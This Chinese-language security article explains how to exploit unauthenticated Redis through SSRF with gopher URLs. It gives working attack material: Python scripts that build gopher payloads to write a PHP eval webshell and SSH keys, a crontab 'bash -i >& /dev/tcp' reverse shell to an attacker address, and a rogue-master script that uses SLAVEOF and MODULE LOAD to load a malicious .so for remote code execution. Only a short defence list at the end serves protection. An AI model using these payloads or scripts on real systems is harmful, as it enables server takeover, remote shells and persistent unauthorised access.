浅析Redis中SSRF的利用
字数 1779 2025-08-10 08:28:30
Redis中SSRF漏洞利用深度分析
一、SSRF与Redis基础
1.1 SSRF简介
SSRF(Server-Side Request Forgery)即服务器端请求伪造,是由攻击者构造的漏洞,用于形成由服务器发起的请求。攻击目标通常是外部网络无法访问的内部系统。
1.2 Redis RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信:
- 简单字符串:以
+开头 - 错误:以
-开头 - 整数:以
:开头 - 批量字符串:以
$开头 - 数组:以
*开头 - Null值:使用特殊变体表示
- 结束符:始终以
\r\n(CRLF)结束
示例分析(set name test命令):
*3\r\n$3\r\nset\r\n$4\r\nname\r\n$4\r\ntest\r\n
二、Gopher协议利用
2.1 Gopher协议概述
Gopher协议是HTTP前身,可用于攻击内网的Redis、FTP等服务,支持发送GET/POST请求。
2.2 利用条件
- Redis服务器未授权访问
- 或可通过弱口令认证访问
三、Redis SSRF攻击方式
3.1 绝对路径写Webshell
攻击步骤:
- 清空数据库:
flushall - 设置恶意PHP代码:
set 1 '<?php eval($_GET["cmd"]);?>' - 设置保存目录:
config set dir /var/www/html - 设置文件名:
config set dbfilename shell.php - 保存:
save
Python转换脚本:
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"]
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
payload=protocol+ip+":"+port+"/_"
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
3.2 写SSH公钥
攻击步骤:
- 清空数据库:
flushall - 设置公钥内容:
set 1 'ssh-rsa AAAAB3Nza...' - 设置保存目录:
config set dir /root/.ssh/ - 设置文件名:
config set dbfilename authorized_keys - 保存:
save
关键修改:
filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3Nza...\n\n"
path="/root/.ssh/"
3.3 利用Crontab反弹Shell
限制条件:
- 仅适用于CentOS系统
- Ubuntu因权限问题(必须600)无法利用
- 高版本Redis默认以redis权限运行,无法写入
攻击步骤:
- 清空数据库:
flushall - 设置定时任务:
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/IP/PORT 0>&1\n\n' - 设置保存目录:
config set dir /var/spool/cron/ - 设置文件名:
config set dbfilename root - 保存:
save
关键修改:
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
四、Redis 4.x/5.x RCE利用
4.1 主从复制机制
- 全量复制:首次同步时传输完整RDB文件
- 增量复制:后续同步仅传输变更数据
- 建立方式:
- 配置文件添加
slaveof - 启动命令添加
--slaveof - 客户端执行
slaveof
- 配置文件添加
4.2 Redis模块功能
Redis 4.x+支持通过外部模块扩展功能,可动态加载.so文件。
4.3 攻击原理
利用主从复制的全量复制过程,将恶意.so文件传输到目标Redis服务器并加载。
关键步骤:
- 将目标Redis设置为攻击者控制的"主服务器"的从服务器
- 主服务器响应PSYNC命令,返回恶意RDB文件
- 从服务器加载恶意.so文件
4.4 攻击流程
- 目标Redis执行:
SLAVEOF attacker_ip attacker_port - 攻击者服务器响应:
+PONG(响应PING)+OK(响应REPLCONF)+FULLRESYNC <runid> <offset>(响应PSYNC)
- 传输恶意.so文件
- 目标Redis加载模块:
MODULE LOAD ./exp.so
4.5 EXP实现
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def RogueServer(lport):
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while True:
data = clientSock.recv(1024)
if "PING" in data:
clientSock.send("+PONG"+CRLF)
elif "REPLCONF" in data:
clientSock.send("+OK"+CRLF)
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a"*40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode() + payload + CRLF.encode()
clientSock.send(result)
break
if __name__=="__main__":
lport=6666
rhost="192.168.163.128"
rport=6379
redis_sock=socket.socket()
redis_sock.connect((rhost,rport))
redis_sock.send(redis_format("SLAVEOF 192.168.163.132 6666"))
redis_sock.send(redis_format("config set dbfilename {}".format(exp_filename)))
time.sleep(2)
RogueServer(lport)
redis_sock.send(redis_format("MODULE LOAD ./{}".format(exp_filename)))
# 交互式shell实现...
五、防御措施
- 禁用危险命令:修改redis.conf禁用
CONFIG、MODULE等命令 - 网络隔离:Redis服务不暴露在公网
- 认证设置:配置强密码认证
- 权限控制:以低权限用户运行Redis
- 文件权限:严格控制Redis数据目录权限
六、参考资源
- Redis主从复制机制详解
- Redis模块开发SDK
- zeronights 2018演讲PPT《Redis post-exploitation》